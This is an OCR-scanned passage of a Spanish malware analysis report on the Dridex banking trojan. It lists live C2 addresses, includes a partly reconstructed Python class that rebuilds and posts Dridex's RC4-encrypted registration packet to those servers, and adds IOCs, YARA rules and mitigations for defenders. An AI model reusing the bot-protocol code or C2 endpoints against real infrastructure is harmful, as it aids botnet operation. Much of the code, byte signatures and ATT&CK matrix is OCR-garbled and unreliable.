SABB3A db 184 r sub_F33792C0494 movEx eax, word pir
3ABB3B db 226

3ABB3C [5l

## Botnet ID:
10444

## (C2 Addresses
178.128.83.165:443
128.199.59.13:8172
110.164.184.226:6516

Una vez llegado a este punto, el binario queda en un bucle intentando conectar
con alguno de los proxies listados mediante las APl InternetOpenA,
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InternetConnectW, HttoOpenRequestW, HttoSendRequestW, y
InternetReadFile.

En funcion de diferentes factores, los servidores pueden responder un cédigo de
éxito, 200 OK, y proseguir descargando configuraciones, el codigo principal del
bot y modulos adicionales o, por el contrario, un cédigo 403 FORBIDDEN,
quedando el equipo baneado para futuras peticiones.

Este hecho dificulta tremendamente el analisis a partir de esta fase, puesto que
resulta muy complicado obtener una respuesta valida por parte del servidor
mediante la ejecucion del binario, ya que se desconocen los factores concretos
que hacen que un servidor responda correctamente.

|Request|Response |

JRaw[Headers{Hex}

HTTP/1.1 403 Forbidden
Server; nginx/1.0.15

Con el fin de intentar evitar esto, se intenta recrear el paquete de peticion de
registro mediante la informacién obtenida durante el analisis y con valores
nuevos que puedan ser modificados de forma programatica.

class DridexBot(object):
def init (self, servers list):
self.rc4_key = servers_list["rc4 key"]
self.servers_available = servers_list["servers"
self.servers _down = []

self.computer_name = "(
self.username = "Juan
self.install_date

self.unknown = x00\x00\x00"

self.code 1
self.code 2
self.code_.
self.arch_code

self.program list
e Rea "

.path = »
rname +
am File

f.username,
+ self.username + "\AppData
nputer_name,

+ self.username + '
+ self.username + "
1f.computer_name,
.username,

\" + self.username,

ilogfile.lo".format(";".join([
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De esta forma, se recrean los algoritmos utilizados por el malware para formar el
paquete y contactar con los proxies.

def calc md5 id (self):
install _date packed = struct.pack("<I", int(self.install date))
string = self.computer_name.encode('latinl’') + self.username.encode('latinl') + b"\ \x00" + install_date_packed + b"\
md5 = hashlib.md5(string).hexdigest()
return md5

calc_md5_id2__ (self):
return hashlib.md5(self.unknown.encode('latinl')).hexdigest()

create initial payload (self):
string
string += str(0)
string += self.computer_name + " "
string += self. calc _md5 id ()
string += self.__calc_md5_id2_ ()
string += self.code_1
string += self.code_2
string += self.code_3
string += self.arch_code
i (len(self.program_list))
.join(self.program_list)
ing path: \ 00"
string += "\n".join(self.path)

return string

est(self):

_cipher packet (self. create initial payload ())
1f.servers_available:

r = requests.post(url, data=payload, headers=headers, proxies=proxyDict, verify=
print(server, " - ", r.status code)

cipher packet (self, content):
ciphered_content = self.rc4 encrypt(self.rc4 key, content)

return struct.pack(">I", (crc32(ciphered_content))) + ciphered_content

rcd_decrypt(self, key, data):
return ARC4.new(key).decrypt(data)

rc4_encrypt(self, key, data):
return ARC4.new(key).encrypt(data)

Tras realizar modificaciones en la mayoria de las variables, sigue sin obtenerse
un cédigo de respuesta favorable ni siquiera en una maquina de instalacién
limpia, por lo que es posible que haya factores que dependan de los propios
operadores de la botnet donde, mientras no haya una campana activa, no sirvan
ficheros de configuracion, ni payloads nuevos.

Lo esperado a partir de aqui, seria la descarga de la configuracion que indique
las aplicaciones y URL a monitorizar, asi como la descarga del bot principal que
lleve a cabo dichas tareas.

Con respecto al bot principal, aunque no se trate de una version reciente pues
corresponde a 2017, ni asociada a este binario, se aporta el siguiente hash que
puede derivar en futuras investigaciones.

Empaquetado:
166bd27de260cccbfcdcb21efc046288043bd44c4f08e92cd1e1f9eb80cca7ff
Desempaquetado:
635dcdfe4d5f675d30813068bfd6f974db57d4eb17ab0foc61ccd843cb93ee03
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Una vez analizado el malware y mapeadas las técnicas y subtécnicas en relacion
a las distintas técnicas que propone MITRE, se obtiene el siguiente mapa:

Initial " . Privilege Defense Credential " " Command
Execution Persistence v N Discovery Collection and Impact
Access Escalation Evasion Access
Control
Credentials -
o CQ”.".E"d & Valid Process G lrseiz] from Account Man in the jboicaton pa
Phishing Scripting o Files or N Layer Encrypted
Accounts Injection " Passw ord Discovery Browser
Interpreter Information Protocol for Impact
Stores
. D -link Credential .
‘Spearphishing PowerShell Domain L‘Z:m'c " Software ";emewnef S Email Web
Attachment owershe Accounts v Packing Account Protocols
Injection Browsers.
Spearphishing év:gz“;d Valid Process Unsecured (szrl:nsssnon Dynamic
Link Accounts Injection Credentials roup Resolution
Shell Discovery
. . Dy namic-link
Valid Visual Domain Library Credentials Fast
Accounts Basic Accounts In Files FluxDNS
Injection
Signed
Domain Binary Encrypted
Accounts Python Proxy Channel
Execution
pr— Rundli32 Symmetric
Cry ptography
Inter-Process . Asymmetric
Communication Msiexec Cryptography
Dynamic \alid Ingress
Data e Tool
Exchange Transfer
User Domain RemE
Execution Accounts pccees
Software
Malicious
Link
Malicious
File

(*) Se puede consultar una versién ampliada del mapa en el Apéndice A: Mapa
de tacticas y técnicas utilizadas por Dridex
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DETECCION

Indicadores de compromiso
SHA-256:

= 0fc36de9d9dc726f53fd9849e8006869e5691df817c3bde191d68e14f7580
dd4

= db8945a793ea1bd94eb1aa3e3e14e84da66b3048f4a86e814e6d0f8dd5¢c
8c276

= 760b58c6c886ceb906f772574c6642a4c97694675b1bda6741ce963735d
6c39d

= 166bd27de260cccbfcdcb21efc046288043bd44c4f08e92cd1e1f9eb80cca
7ff

= 635dcdfe4d5f675d30813068bfd6f974db57d4eb17ab0f9c61ccd843cb93e
e03

= hxxps://mogakajames.equilibrium.co[.]ke/z0vzt9gw.tar

= hxxps://api.quocbao[.]biz/qjd9f0x9.zip

= hxxps://unisoftcc[.Jcom/fsrido3.zip

Reglas de Yara

rule DridexV4
{
meta:
author = "kevoreilly"
description = "Dridex v4 Payload"
cape_type = "Dridex v4 Payload"
strings:

$decrypt32 = {6A 40 58 3B C8 OF 4D C1 39 46 04 7D 50 53
57 8B F8 81 E7 3F 00 00 80 79 05 4F 83 CF Co 47 F7 DF 99 1B FF
83 E2 3F ©3 C2 F7 DF C1 F8 06 03 F8 C1 E7 06 57}

$getproc32 = {81 FB ?? ?? ?? ?? 74 2D 8B CB E8 ?? ?? ??
?? 85 CO 74 ©C 8B C8 8B D7 E8 ?? ?? ?? ?? 5B 5F C3}

$getproc64 = {81 FB ?? ?? ?? ?? 75 04 33 CO EB 2D 8B (B
E8 ?? ?? ?? ?? 48 85 CO 75 17 8B CB E8 ?? ?? ?? ?? 84 CO 74 ES
8B CB E8 ?? ?? ?? ?? 48 85 CO 74 D9 8B D7 48 8B C8 E8 ?? ?? ??
?? 48 8B 5C 24 30 48 83 C4 20 5F C3}
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$bot_stub 32 = {8B 45 E? 8? [10-13] 8A 1C ©? [6-11] @5
FF 00 00 00 8B ?? F? 39 ?? 89 45 E? 72 D?}

$bot_stub_64 = {8B 44 24 ?? 89 C1 89 CA 4C 8B 05 [4] 4C
8B 4C 24 ?? 45 8A 14 11 83 E@ 1F 89 CO 41 89 C3 47 2A 14 18 44
88 54 14}

condition:
uint16(@) == Ox5A4D and any of them

rule DridexLoader
{
meta:
author = "kevoreilly"
description = "Dridex v4 dropper C2 parsing function"

cape_type = "DridexLoader Payload"

strings:

$c2parse_1 = {57 OF 95 CO 89 35 [4] 88 46 04 33 FF 80
3D [4] @0 76 54 8B ©4 FD [4] 8D 4D EC 83 65 F4 00 89 45 EC 66
8B 04 FD [4] 66 89 45 F@ 8D 45 F8 50}

$c2parse 2 = {89 45 00 OF B7 53 04 89 10 OF B6 4B OC 83
F9 @A 7F ©3 8A 53 OC OF B6 53 OC 85 D2 7E B7 8D 74 24 oC C7 44
24 08 00 00 00 00 8D 04 7F 8D 8C 00}

$c2parse_3 = {89 08 66 39 1D [4] Al [4] OF 95 C1 88 48
@4 80 3D [4] ©A 77 ©5 A@ [4] 80 3D [4] @@ 56 8B F3 76 4E 66 8B
04 F5}

$c2parse 4 = {OF B7 CO 89 01 A@ [4] 3C @A 77 2? A® [4]
A® [4] 57 33 FF 84 CO 74 ?? 56 BE}

$c2parse_ 5 = {OF B7 ©5 [4] 89 02 89 15 [4] OF B6 15 [4]
83 FA OA 7F 07 OF B6 ©5 [4] OF B6 05 [4] 85 CO}

condition:
uint16(@) == Ox5A4D and any of them

rule DridexBotHook

{

meta:
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description = "Detects latest Dridex bot hook "
author = "@VK_Intel"

reference = "internal"

tlp = "white"

date = "2020-03-24"

strings:

$code = { e8 ?? ?? ?? ?? 8b ?? PP ?? 48 ?? ?? ?? P?
?? ?? 44 2b 3 48 ?? ?? ?? 41 b8 04 00 00 00 41 83 ee 05 44 ??
PP P2 2P PP ?? e8 ?? ?? ?? ?? ba cd 9c ff 56 b9 cb 69 e2 6a 8b
£3 48 ?? ?? ?? 48 ?? ?? P? ?? ?? PP P?? e8 ?? ?? ?? ?? 48 85 cO
74 ?? 48 ?? ?? ?? ?? 4c ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 49
8b cd 41 b9 40 00 00 00 }
condition:

$code

rule DridexPayload

{

meta:
author = "kev"
description = "Dridex encrypt/decrypt function"

cape_type = "Dridex Payload"

strings:

$crypt_32_ vl = {57 53 55 81 EC ©C 02 @0 00 8B BC 24 1C
02 00 00 85 FF 74 20 8B AC 24 20 02 00 00 85 ED 74 15 83 BC 24
24 92 00 00 00 74 OB 8B 9C 24 28 02 00 00 85 DB 75 ?? 81 C4 ??
92 00 00 5D 5B 5F}

$crypt_32 v2 = {56 57 53 55 81 EC 08 02 00 00 8B BC 24
1C 02 00 00 85 FF 74 20 8B AC 24 20 02 00 00 85 ED 74 15 83 BC
24 24 02 00 00 00 74 OB 8B 9C 24 28 02 00 00 85 DB 75 ?? 81 C4
?? 92 00 00 5D 5B 5F}

$crypt_32_v3 = {56 57 53 55 81 EC 08 02 00 00 8B E9 8B
FA 85 ED 74 19 85 FF 74 15 83 BC 24 1C 02 00 00 00 74 OB 8B 9C
24 20 02 00 00 85 DB 75 @D}
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$crypt_64 vl = {41 54 41 55 41 56 41 57 48 81 EC 48 02
P90 00 49 89 CE 45 89 CC 4D 89 C5 41 89 D7 4D 85 F6 OF 84 41 02
@0 00 45 85 FF OF 84 38 02 00 00 4D 85 ED OF 84 2F 02 00 00 45

85 E4 OF 84 26 02 00}
condition:

//check for MZ Signature at offset ©
uint1l6(@) == ©x5A4D

and

($crypt_32 vl or $crypt 32 v2
$crypt_64 vl)

}

or $crypt 32 v3 or
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MITIGACION

Medidas a nivel de endpoint

El cédigo de Dridex de ninguna de las muestras se encuentra firmado, por lo que
implementar una politica que no permita la ejecucion de binarios que no estén
firmados podria prevenir la ejecucién de este froyano y de otro tipo de malware.
No obstante, gran cantidad de desarrolladores y paquetes de software no
distribuyen sus productos firmados, por lo que esta estrategia podria no resultar
practica en algunos casos.

Por otra parte, en base al analisis realizado seria posible crear una vacuna contra
esta amenaza. De hecho, los investigadores de la empresa AppGate han creado
una que se aporta como referencia al final de este documento.

En concordancia con lo anterior, pero empleando mecanismos mas generales,
se recomienda que las organizaciones prohiban o, al menos, monitoricen la
ejecucion de binarios no conocidos previamente dentro de ella o aquellos no
provenientes de fuentes confiables. Aunque imperfecto, por la forma en la que
se crea y distribuye el software legitimo, esta medida puede servir como una
alarma inicial para impulsar una mayor investigacion y, posiblemente, limitar su
propagacion.

Medidas a nivel de red

Si se dispone de los mecanismos para inspeccionar el trafico que ocurre dentro
de la red, se deberia identificar la transferencia de binarios desconocidos dentro
de ella.

Por otro lado, es altamente recomendable mantener una segmentacion
adecuada de la red para evitar desplazamientos laterales y que finalmente se
alcancen los sistemas criticos de la organizacion.

Medidas y consideraciones adicionales

Ante el caso de que una infeccion por una amenaza de este tipo sea descubierta
a posteriori, a fin de poder llevar a cabo una investigaciéon se recomienda
mantener una buena politica de almacenamiento de registros, para poder
realizar una revision posterior. De esta manera, se podra verificar cuales han
sido las acciones tomadas por los atacantes en todo momento y de su
movimiento en la red.

Asi mismo, es recomendable usar algun método adicional de seguridad en el
inicio de sesion para servicios como VPN y webmail como, por ejemplo, el doble
factor de autenticacion con el propdsito de evitar el robo de credenciales o de
convertirse en victima de un ataque de Phishing.

También es recomendable utilizar sistemas de listas de exclusion para dificultar
la ejecucion inicial de codigo malicioso proveniente del navegador o del correo
electronico.
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Ademas, es recomendable limitar las comunicaciones entre equipos adyacentes
a excepcion de aquellas estrictamente necesarias, con la finalidad de dificultar
los desplazamientos laterales.

En adicion, aplicar un modelo por capas del sistema Active Directory,
garantizando de esta manera una segmentacion de los datos segun su nivel de
privilegio. De esta manera solamente aquellos sistemas con altos privilegios
podran acceder a otros con menores y no al contrario, lo que ralentiza mucho las
tareas de los atacantes.

En ultimo lugar, atendiendo al comportamiento del malware y al mapeo de las
técnicas y subtécnicas en relacion a las distintas tacticas que propone MITRE,
se puede consultar en la Matriz Enterprise cada una de las técnicas para conocer
sus correspondientes medidas de deteccion y mitigacion.

Finalmente, los indicadores de compromiso y reglas de deteccion
correspondientes a la amenaza también estan disponibles en
https://qgithub.com/basquecscentre/technical-reports para su descarga.
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REFERENCIAS ADICIONALES

= https://malpedia.caad.fkie.fraunhofer.de/details/win.dridex

= https://www.appgate.com/blog/reverse-engineering-dridex-and-
automating-ioc-extraction

= https://www.appgate.com/blog/breaking-dridex-and-creating-a-vaccine

= https://securelist.com/dridex-a-history-of-evolution/78531/

= https://securitynews.sonicwall.com/xmlpost/dridex-malware-evading-
detection-using-delaying-techniques/

= https://www.cronup.com/post/de-atague-con-malware-a-incidente-de-
ransomware

= https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf

= https://countuponsecurity.com/tag/dridex-rc4/

= https://www.pandasecurity.com/es/mediacenter/pandalabs/dridex-
version-4/

= https://www.blueliv.com/downloads/documentation/reports/Network insig
hts of Dyre and Dridex Trojan bankers.pdf

= https://www.fortinet.com/blog/threat-research/hundreds-of-urls-inside-
microsoft-excel-spreads-new-dridex-trojan-variant

= https://countuponsecurity.com/tag/dridex-malware-analysis/

= https://www.forcepoint.com/es/blog/x-labs/dridex-shadows-blacklisting-
stealth-and-crypto-currency
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APENDICE A: MAPA DE TACTICAS Y TECNICAS UTILIZADAS POR DRIDEX
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Reportar incidente

Si has detectado algun incidente de
ciberseguridad, avisanos para que tomemos
las medidas oportunas para evitar su
propagacion.

[ 900 104 891 ]

.‘:}3

[ incidencias@bcsc.eus ]
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https://www.basquecybersecurity.eus/es/catalogo-ciberseguridad.html
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